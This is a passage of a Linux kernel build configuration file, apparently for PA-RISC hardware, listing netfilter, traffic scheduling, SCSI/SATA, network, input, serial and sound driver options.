CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_DCCP=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_PROTO_UDPLITE=m
CONFIG_NF_NAT_PROTO_SCTP=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_SECURITY=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV6=m
CONFIG_IP6_NF_QUEUE=m
CONFIG_IP6_NF_IPTABLES=m
CONFIG_IP6_NF_MATCH_AH=m
CONFIG_IP6_NF_MATCH_EUI64=m
CONFIG_IP6_NF_MATCH_FRAG=m
CONFIG_IP6_NF_MATCH_OPTS=m
CONFIG_IP6_NF_MATCH_HL=m
CONFIG_IP6_NF_MATCH_IPV6HEADER=m
CONFIG_IP6_NF_MATCH_MH=m
CONFIG_IP6_NF_MATCH_RT=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_REJECT=m
CONFIG_IP6_NF_MANGLE=m
CONFIG_IP6_NF_TARGET_HL=m
CONFIG_IP6_NF_RAW=m
CONFIG_IP6_NF_SECURITY=m
CONFIG_BRIDGE_NF_EBTABLES=m
CONFIG_BRIDGE_EBT_BROUTE=m
CONFIG_BRIDGE_EBT_T_FILTER=m
CONFIG_BRIDGE_EBT_T_NAT=m
CONFIG_BRIDGE_EBT_802_3=m
CONFIG_BRIDGE_EBT_AMONG=m
CONFIG_BRIDGE_EBT_ARP=m
CONFIG_BRIDGE_EBT_IP=m
CONFIG_BRIDGE_EBT_IP6=m
CONFIG_BRIDGE_EBT_LIMIT=m
CONFIG_BRIDGE_EBT_MARK=m
CONFIG_BRIDGE_EBT_PKTTYPE=m
CONFIG_BRIDGE_EBT_STP=m
CONFIG_BRIDGE_EBT_VLAN=m
CONFIG_BRIDGE_EBT_ARPREPLY=m
CONFIG_BRIDGE_EBT_DNAT=m
CONFIG_BRIDGE_EBT_MARK_T=m
CONFIG_BRIDGE_EBT_REDIRECT=m
CONFIG_BRIDGE_EBT_SNAT=m
CONFIG_BRIDGE_EBT_LOG=m
CONFIG_BRIDGE_EBT_ULOG=m
CONFIG_BRIDGE_EBT_NFLOG=m
# CONFIG_IP_DCCP is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
# CONFIG_SCTP_HMAC_SHA1 is not set
CONFIG_SCTP_HMAC_MD5=y
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
CONFIG_STP=m
CONFIG_GARP=m
CONFIG_BRIDGE=m
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_MULTIQ=m
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
CONFIG_NET_CLS_FLOW=m
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_IPT=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
CONFIG_NET_ACT_SKBEDIT=m
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
CONFIG_AF_RXRPC=m
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=m
# CONFIG_PHONET is not set
CONFIG_FIB_RULES=y
# CONFIG_WIRELESS is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_SERIAL=m
CONFIG_PARPORT_PC_FIFO=y
CONFIG_PARPORT_PC_SUPERIO=y
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_AX88796 is not set
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
CONFIG_ENCLOSURE_SERVICES=m
# CONFIG_HP_ILO is not set
# CONFIG_C2PORT is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
CONFIG_CHR_DEV_OSST=m
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_ENCLOSURE=m

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_FC_TGT_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
# CONFIG_SCSI_SAS_ATA is not set
CONFIG_SCSI_SAS_HOST_SMP=y
# CONFIG_SCSI_SAS_LIBSAS_DEBUG is not set
CONFIG_SCSI_SRP_ATTRS=m
# CONFIG_SCSI_SRP_TGT_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
CONFIG_BLK_DEV_3W_XXXX_RAID=m
CONFIG_SCSI_3W_9XXX=m
CONFIG_SCSI_ACARD=m
CONFIG_SCSI_AHA1740=m
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
# CONFIG_AIC94XX_DEBUG is not set
CONFIG_SCSI_DPT_I2O=m
CONFIG_SCSI_ADVANSYS=m
CONFIG_SCSI_IN2000=m
CONFIG_SCSI_ARCMSR=m
CONFIG_MEGARAID_NEWGEN=y
CONFIG_MEGARAID_MM=m
CONFIG_MEGARAID_MAILBOX=m
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
CONFIG_SCSI_HPTIOP=m
CONFIG_SCSI_DMX3191D=m
CONFIG_SCSI_DTC3280=m
# CONFIG_SCSI_FUTURE_DOMAIN is not set
CONFIG_SCSI_GENERIC_NCR5380=m
CONFIG_SCSI_GENERIC_NCR5380_MMIO=m
CONFIG_SCSI_GENERIC_NCR53C400=y
CONFIG_SCSI_IPS=m
CONFIG_SCSI_INITIO=m
CONFIG_SCSI_INIA100=m
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
CONFIG_SCSI_MVSAS=m
CONFIG_SCSI_NCR53C406A=m
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_PAS16 is not set
CONFIG_SCSI_QLOGIC_FAS=m
CONFIG_SCSI_QLOGIC_1280=m
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
CONFIG_SCSI_SIM710=m
CONFIG_SCSI_SYM53C416=m
CONFIG_SCSI_DC395x=m
CONFIG_SCSI_DC390T=m
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
CONFIG_SCSI_SRP=m
CONFIG_SCSI_DH=m
CONFIG_SCSI_DH_RDAC=m
CONFIG_SCSI_DH_HP_SW=m
CONFIG_SCSI_DH_EMC=m
CONFIG_SCSI_DH_ALUA=m
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_SATA_PMP=y
CONFIG_SATA_AHCI=m
CONFIG_SATA_SIL24=m
CONFIG_ATA_SFF=y
CONFIG_SATA_SVW=m
CONFIG_ATA_PIIX=m
CONFIG_SATA_MV=m
CONFIG_SATA_NV=m
CONFIG_PDC_ADMA=m
CONFIG_SATA_QSTOR=m
CONFIG_SATA_PROMISE=m
CONFIG_SATA_SX4=m
CONFIG_SATA_SIL=m
CONFIG_SATA_SIS=m
CONFIG_SATA_ULI=m
CONFIG_SATA_VIA=m
CONFIG_SATA_VITESSE=m
CONFIG_SATA_INIC162X=m
CONFIG_PATA_ALI=m
CONFIG_PATA_AMD=m
CONFIG_PATA_ARTOP=m
CONFIG_PATA_ATIIXP=m
CONFIG_PATA_CMD640_PCI=m
CONFIG_PATA_CMD64X=m
CONFIG_PATA_CS5520=m
CONFIG_PATA_CS5530=m
CONFIG_PATA_CYPRESS=m
CONFIG_PATA_EFAR=m
CONFIG_ATA_GENERIC=m
CONFIG_PATA_HPT366=m
CONFIG_PATA_HPT37X=m
CONFIG_PATA_HPT3X2N=m
CONFIG_PATA_HPT3X3=m
CONFIG_PATA_HPT3X3_DMA=y
CONFIG_PATA_IT821X=m
CONFIG_PATA_IT8213=m
CONFIG_PATA_JMICRON=m
CONFIG_PATA_LEGACY=m
CONFIG_PATA_TRIFLEX=m
CONFIG_PATA_MARVELL=m
CONFIG_PATA_MPIIX=m
CONFIG_PATA_OLDPIIX=m
CONFIG_PATA_NETCELL=m
CONFIG_PATA_NINJA32=m
CONFIG_PATA_NS87410=m
CONFIG_PATA_NS87415=m
CONFIG_PATA_OPTI=m
CONFIG_PATA_OPTIDMA=m
CONFIG_PATA_PDC_OLD=m
CONFIG_PATA_QDI=m
CONFIG_PATA_RADISYS=m
CONFIG_PATA_RZ1000=m
CONFIG_PATA_SC1200=m
CONFIG_PATA_SERVERWORKS=m
CONFIG_PATA_PDC2027X=m
CONFIG_PATA_SIL680=m
CONFIG_PATA_SIS=m
CONFIG_PATA_VIA=m
CONFIG_PATA_WINBOND=m
CONFIG_PATA_WINBOND_VLB=m
CONFIG_PATA_SCH=m
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
CONFIG_MD_RAID5_RESHAPE=y
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
CONFIG_DM_DELAY=m
CONFIG_DM_UEVENT=y
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=40
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LAN is not set
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#

#
# Enable only one of the two stacks, unless you know what you are doing
#
CONFIG_FIREWIRE=m
CONFIG_FIREWIRE_OHCI=m
CONFIG_FIREWIRE_OHCI_DEBUG=y
CONFIG_FIREWIRE_SBP2=m
# CONFIG_IEEE1394 is not set
CONFIG_I2O=m
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
CONFIG_I2O_EXT_ADAPTEC=y
CONFIG_I2O_EXT_ADAPTEC_DMA64=y
CONFIG_I2O_CONFIG=m
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=m
CONFIG_I2O_BLOCK=m
CONFIG_I2O_SCSI=m
CONFIG_I2O_PROC=m
CONFIG_NETDEVICES=y
CONFIG_IFB=m
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
CONFIG_MACVLAN=m
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
CONFIG_VETH=m
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
CONFIG_ICPLUS_PHY=m
CONFIG_REALTEK_PHY=m
CONFIG_MDIO_BITBANG=m
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
CONFIG_LASI_82596=m
CONFIG_HAPPYMEAL=m
CONFIG_SUNGEM=m
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
# CONFIG_EL1 is not set
# CONFIG_EL2 is not set
# CONFIG_EL16 is not set
# CONFIG_EL3 is not set
CONFIG_VORTEX=m
CONFIG_TYPHOON=m
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
CONFIG_ULI526X=m
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
CONFIG_AMD8111_ETH=m
CONFIG_ADAPTEC_STARFIRE=m
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
CONFIG_FORCEDETH=m
CONFIG_FORCEDETH_NAPI=y
CONFIG_CS89x0=m
# CONFIG_EEPRO100 is not set
CONFIG_E100=m
# CONFIG_LNE390 is not set
CONFIG_FEALNX=m
CONFIG_NATSEMI=m
CONFIG_NE2K_PCI=m
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
CONFIG_8139CP=m
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
CONFIG_8139TOO_TUNE_TWISTER=y
CONFIG_8139TOO_8129=y
# CONFIG_8139_OLD_RX_RESET is not set
CONFIG_R6040=m
CONFIG_SIS900=m
CONFIG_EPIC100=m
CONFIG_SUNDANCE=m
CONFIG_SUNDANCE_MMIO=y
CONFIG_TLAN=m
CONFIG_VIA_RHINE=m
CONFIG_VIA_RHINE_MMIO=y
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
CONFIG_ATL2=m
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
CONFIG_DL2K=m
CONFIG_E1000=m
CONFIG_E1000E=m
CONFIG_IP1000=m
CONFIG_IGB=m
CONFIG_IGB_LRO=y
CONFIG_NS83820=m
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
CONFIG_R8169=m
CONFIG_R8169_VLAN=y
CONFIG_SIS190=m
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
CONFIG_SKY2=m
# CONFIG_SKY2_DEBUG is not set
CONFIG_VIA_VELOCITY=m
CONFIG_TIGON3=m
CONFIG_BNX2=m
CONFIG_QLA3XXX=m
CONFIG_ATL1=m
CONFIG_ATL1E=m
CONFIG_JME=m
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set
# CONFIG_IWLWIFI_LEDS is not set
# CONFIG_WAN is not set
CONFIG_FDDI=y
CONFIG_DEFXX=m
CONFIG_DEFXX_MMIO=y
CONFIG_SKFP=m
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
CONFIG_PPPOL2TP=m
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_NET_FC=y
CONFIG_NETCONSOLE=m
CONFIG_NETCONSOLE_DYNAMIC=y
CONFIG_NETPOLL=y
CONFIG_NETPOLL_TRAP=y
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_INPORT is not set
# CONFIG_MOUSE_LOGIBM is not set
# CONFIG_MOUSE_PC110PAD is not set
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_MOUSE_HIL=m
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_FOURPORT=m
CONFIG_SERIAL_8250_ACCENT=m
CONFIG_SERIAL_8250_BOCA=m
CONFIG_SERIAL_8250_EXAR_ST16C554=m
CONFIG_SERIAL_8250_HUB6=m
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_REGULATOR is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=m
# CONFIG_BACKLIGHT_CORGI is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_DYNAMIC_MINORS=y
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
CONFIG_SND_DUMMY=m
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
CONFIG_SND_MTS64=m
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
CONFIG_SND_PORTMAN2X4=m
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
